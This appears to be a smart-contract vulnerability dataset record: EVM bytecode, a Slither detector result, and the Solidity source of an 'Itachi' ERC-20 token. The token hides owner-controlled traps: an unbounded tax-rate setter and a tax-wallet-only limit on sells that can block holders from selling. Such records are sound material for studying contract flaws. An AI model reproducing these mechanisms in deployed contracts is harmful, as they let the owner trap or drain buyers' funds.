ffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000806000835185511415156115a257600080fd5b600091505b8451821115156118e257600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000868481518110151561160057fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080848381518110151561165657fe5b906020019060200201511115611704576000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600087858151811015156116b757fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117c6565b61172e848381518110151561171557fe5b9060200190602002015182611fec90919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000878581518110151561177d57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b84828151811015156117d457fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000898781518110151561187b57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a381806001019250506115a7565b60019250505092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156119aa5780601f1061197f576101008083540402835291602001916119aa565b820191906000526020600020905b81548152906001019060200180831161198d57829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156119ef57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611a3c57600080fd5b611a8d826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fec90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b20826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fce90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600080849050611be18585610bd5565b15611d42578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611cdb578082015181840152602081019050611cc0565b50505050905090810190601f168015611d085780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1515611d2957600080fd5b5af11515611d3657600080fd5b50505060019150611d43565b5b509392505050565b6000611ddc82600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fce90919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000808284019050838110151515611fe257fe5b8091505092915050565b6000828211151515611ffa57fe5b8183039050929150505600a165627a7a72305820947955c33c12dd961975fc1d55c395f4d2f37e5938db7c25476c11e1a942b67b0029
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}]}}
4,804
0xc69459fe6a6bb7aea9bb4b4460b0ed77a6cb3e9d
// SPDX-License-Identifier: MIT // tg: t.me/itachierc20 pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed oldie, address indexed newbie); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender() , "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH(address token, uint amountTokenDesired,uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Itachi is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _rOwned; mapping(address => mapping(address => uint256)) private _allowances; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000000 ; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxRate; address payable private _taxWallet; string private constant _name = "Itachi"; string private constant _symbol = "ITACHI"; uint8 private constant _decimals = 0; IUniswapV2Router02 private _router; address private _pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; uint256 private _maxBuy = _tTotal; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _rOwned[_msgSender()] = _rTotal; _router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _taxRate = 4; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setTaxRate(uint rate) external onlyOwner{ require(rate>=0,"Tax must be non-negative"); _taxRate=rate; } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(((to == _pair && from != address(_router) )?1:0)*amount <= _maxBuy); if (from != owner() && to != owner()) { if (!inSwap && from != _pair && swapEnabled) { swapTokensForEth(balanceOf(address(this))); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _router.WETH(); _approve(address(this), address(_router), tokenAmount); _router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path,address(this), block.timestamp); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen, "Trading is already open"); _approve(address(this), address(_router), _tTotal); _pair = IUniswapV2Factory(_router.factory()).createPair(address(this), _router.WETH()); _router.addLiquidityETH{value : address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp); swapEnabled = true; _maxBuy = _tTotal; tradingOpen = true; IERC20(_pair).approve(address(_router), type(uint).max); } modifier overridden() { require(_taxWallet == _msgSender() ); _; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external { require(_msgSender() == _taxWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { require(_msgSender() == _taxWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, 2, _taxRate); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function setMaxBuy(uint256 limit) external overridden { _maxBuy = limit; } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100f75760003560e01c80638da5cb5b1161008a578063c9567bf911610059578063c9567bf914610325578063dd62ed3e1461033c578063f429389014610379578063f53bc83514610390576100fe565b80638da5cb5b1461026957806395d89b4114610294578063a9059cbb146102bf578063c6d69a30146102fc576100fe565b8063313ce567116100c6578063313ce567146101d357806351bc3c85146101fe57806370a0823114610215578063715018a614610252576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103b9565b604051610125919061243a565b60405180910390f35b34801561013a57600080fd5b5061015560048036038101906101509190611fda565b6103f6565b604051610162919061241f565b60405180910390f35b34801561017757600080fd5b50610180610414565b60405161018d91906125bc565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b89190611f87565b610421565b6040516101ca919061241f565b60405180910390f35b3480156101df57600080fd5b506101e86104fa565b6040516101f59190612631565b60405180910390f35b34801561020a57600080fd5b506102136104ff565b005b34801561022157600080fd5b5061023c60048036038101906102379190611eed565b610579565b60405161024991906125bc565b60405180910390f35b34801561025e57600080fd5b506102676105ca565b005b34801561027557600080fd5b5061027e61071d565b60405161028b9190612351565b60405180910390f35b3480156102a057600080fd5b506102a9610746565b6040516102b6919061243a565b60405180910390f35b3480156102cb57600080fd5b506102e660048036038101906102e19190611fda565b610783565b6040516102f3919061241f565b60405180910390f35b34801561030857600080fd5b50610323600480360381019061031e9190612047565b6107a1565b005b34801561033157600080fd5b5061033a610884565b005b34801561034857600080fd5b50610363600480360381019061035e9190611f47565b610da7565b60405161037091906125bc565b60405180910390f35b34801561038557600080fd5b5061038e610e2e565b005b34801561039c57600080fd5b506103b760048036038101906103b29190612047565b610ea0565b005b60606040518060400160405280600681526020017f4974616368690000000000000000000000000000000000000000000000000000815250905090565b600061040a610403610f0b565b8484610f13565b6001905092915050565b60006402540be400905090565b600061042e8484846110de565b6104ef8461043a610f0b565b6104ea85604051806060016040528060288152602001612c3560289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104a0610f0b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114159092919063ffffffff16565b610f13565b600190509392505050565b600090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610540610f0b565b73ffffffffffffffffffffffffffffffffffffffff161461056057600080fd5b600061056b30610579565b905061057681611479565b50565b60006105c3600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611701565b9050919050565b6105d2610f0b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461065f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106569061251c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f4954414348490000000000000000000000000000000000000000000000000000815250905090565b6000610797610790610f0b565b84846110de565b6001905092915050565b6107a9610f0b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610836576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082d9061251c565b60405180910390fd5b600081101561087a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108719061259c565b60405180910390fd5b8060058190555050565b61088c610f0b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610919576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109109061251c565b60405180910390fd5b600860149054906101000a900460ff1615610969576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610960906124bc565b60405180910390fd5b61099b30600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166402540be400610f13565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a0357600080fd5b505afa158015610a17573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a3b9190611f1a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610abf57600080fd5b505afa158015610ad3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610af79190611f1a565b6040518363ffffffff1660e01b8152600401610b1492919061236c565b602060405180830381600087803b158015610b2e57600080fd5b505af1158015610b42573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b669190611f1a565b600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610bef30610579565b600080610bfa61071d565b426040518863ffffffff1660e01b8152600401610c1c969594939291906123be565b6060604051808303818588803b158015610c3557600080fd5b505af1158015610c49573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610c6e9190612074565b5050506001600860166101000a81548160ff0219169083151502179055506402540be4006009819055506001600860146101000a81548160ff021916908315150217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610d52929190612395565b602060405180830381600087803b158015610d6c57600080fd5b505af1158015610d80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610da4919061201a565b50565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e6f610f0b565b73ffffffffffffffffffffffffffffffffffffffff1614610e8f57600080fd5b6000479050610e9d8161176f565b50565b610ea8610f0b565b73ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f0157600080fd5b8060098190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7a9061257c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ff3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fea9061249c565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110d191906125bc565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561114e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111459061255c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b59061245c565b60405180910390fd5b60008111611201576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f89061253c565b60405180910390fd5b60095481600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156112b05750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b6112bb5760006112be565b60015b60ff166112cb9190612728565b11156112d657600080fd5b6112de61071d565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561134c575061131c61071d565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561140557600860159054906101000a900460ff161580156113bc5750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156113d45750600860169054906101000a900460ff165b15611404576113ea6113e530610579565b611479565b60004790506000811115611402576114014761176f565b5b505b5b6114108383836117db565b505050565b600083831115829061145d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611454919061243a565b60405180910390fd5b506000838561146c9190612782565b9050809150509392505050565b6001600860156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156114b1576114b06128dd565b5b6040519080825280602002602001820160405280156114df5781602001602082028036833780820191505090505b50905030816000815181106114f7576114f66128ae565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561159957600080fd5b505afa1580156115ad573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115d19190611f1a565b816001815181106115e5576115e46128ae565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061164c30600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f13565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016116b09594939291906125d7565b600060405180830381600087803b1580156116ca57600080fd5b505af11580156116de573d6000803e3d6000fd5b50505050506000600860156101000a81548160ff02191690831515021790555050565b6000600354821115611748576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173f9061247c565b60405180910390fd5b60006117526117eb565b9050611767818461181690919063ffffffff16565b915050919050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156117d7573d6000803e3d6000fd5b5050565b6117e6838383611860565b505050565b60008060006117f8611a2b565b9150915061180f818361181690919063ffffffff16565b9250505090565b600061185883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611a81565b905092915050565b60008060008060008061187287611ae4565b9550955095509550955095506118d086600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b4b90919063ffffffff16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061196585600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9590919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119b181611bf3565b6119bb8483611cb0565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611a1891906125bc565b60405180910390a3505050505050505050565b6000806000600354905060006402540be4009050611a596402540be40060035461181690919063ffffffff16565b821015611a74576003546402540be400935093505050611a7d565b81819350935050505b9091565b60008083118290611ac8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611abf919061243a565b60405180910390fd5b5060008385611ad791906126f7565b9050809150509392505050565b6000806000806000806000806000611b008a6002600554611cea565b9250925092506000611b106117eb565b90506000806000611b238e878787611d80565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611b8d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611415565b905092915050565b6000808284611ba491906126a1565b905083811015611be9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611be0906124dc565b60405180910390fd5b8091505092915050565b6000611bfd6117eb565b90506000611c148284611e0990919063ffffffff16565b9050611c6881600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9590919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611cc582600354611b4b90919063ffffffff16565b600381905550611ce081600454611b9590919063ffffffff16565b6004819055505050565b600080600080611d166064611d08888a611e0990919063ffffffff16565b61181690919063ffffffff16565b90506000611d406064611d32888b611e0990919063ffffffff16565b61181690919063ffffffff16565b90506000611d6982611d5b858c611b4b90919063ffffffff16565b611b4b90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611d998589611e0990919063ffffffff16565b90506000611db08689611e0990919063ffffffff16565b90506000611dc78789611e0990919063ffffffff16565b90506000611df082611de28587611b4b90919063ffffffff16565b611b4b90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611e1c5760009050611e7e565b60008284611e2a9190612728565b9050828482611e3991906126f7565b14611e79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e70906124fc565b60405180910390fd5b809150505b92915050565b600081359050611e9381612bef565b92915050565b600081519050611ea881612bef565b92915050565b600081519050611ebd81612c06565b92915050565b600081359050611ed281612c1d565b92915050565b600081519050611ee781612c1d565b92915050565b600060208284031215611f0357611f0261290c565b5b6000611f1184828501611e84565b91505092915050565b600060208284031215611f3057611f2f61290c565b5b6000611f3e84828501611e99565b91505092915050565b60008060408385031215611f5e57611f5d61290c565b5b6000611f6c85828601611e84565b9250506020611f7d85828601611e84565b9150509250929050565b600080600060608486031215611fa057611f9f61290c565b5b6000611fae86828701611e84565b9350506020611fbf86828701611e84565b9250506040611fd086828701611ec3565b9150509250925092565b60008060408385031215611ff157611ff061290c565b5b6000611fff85828601611e84565b925050602061201085828601611ec3565b9150509250929050565b6000602082840312156120305761202f61290c565b5b600061203e84828501611eae565b91505092915050565b60006020828403121561205d5761205c61290c565b5b600061206b84828501611ec3565b91505092915050565b60008060006060848603121561208d5761208c61290c565b5b600061209b86828701611ed8565b93505060206120ac86828701611ed8565b92505060406120bd86828701611ed8565b9150509250925092565b60006120d383836120df565b60208301905092915050565b6120e8816127b6565b82525050565b6120f7816127b6565b82525050565b60006121088261265c565b612112818561267f565b935061211d8361264c565b8060005b8381101561214e57815161213588826120c7565b975061214083612672565b925050600181019050612121565b5085935050505092915050565b612164816127c8565b82525050565b6121738161280b565b82525050565b600061218482612667565b61218e8185612690565b935061219e81856020860161281d565b6121a781612911565b840191505092915050565b60006121bf602383612690565b91506121ca82612922565b604082019050919050565b60006121e2602a83612690565b91506121ed82612971565b604082019050919050565b6000612205602283612690565b9150612210826129c0565b604082019050919050565b6000612228601783612690565b9150612233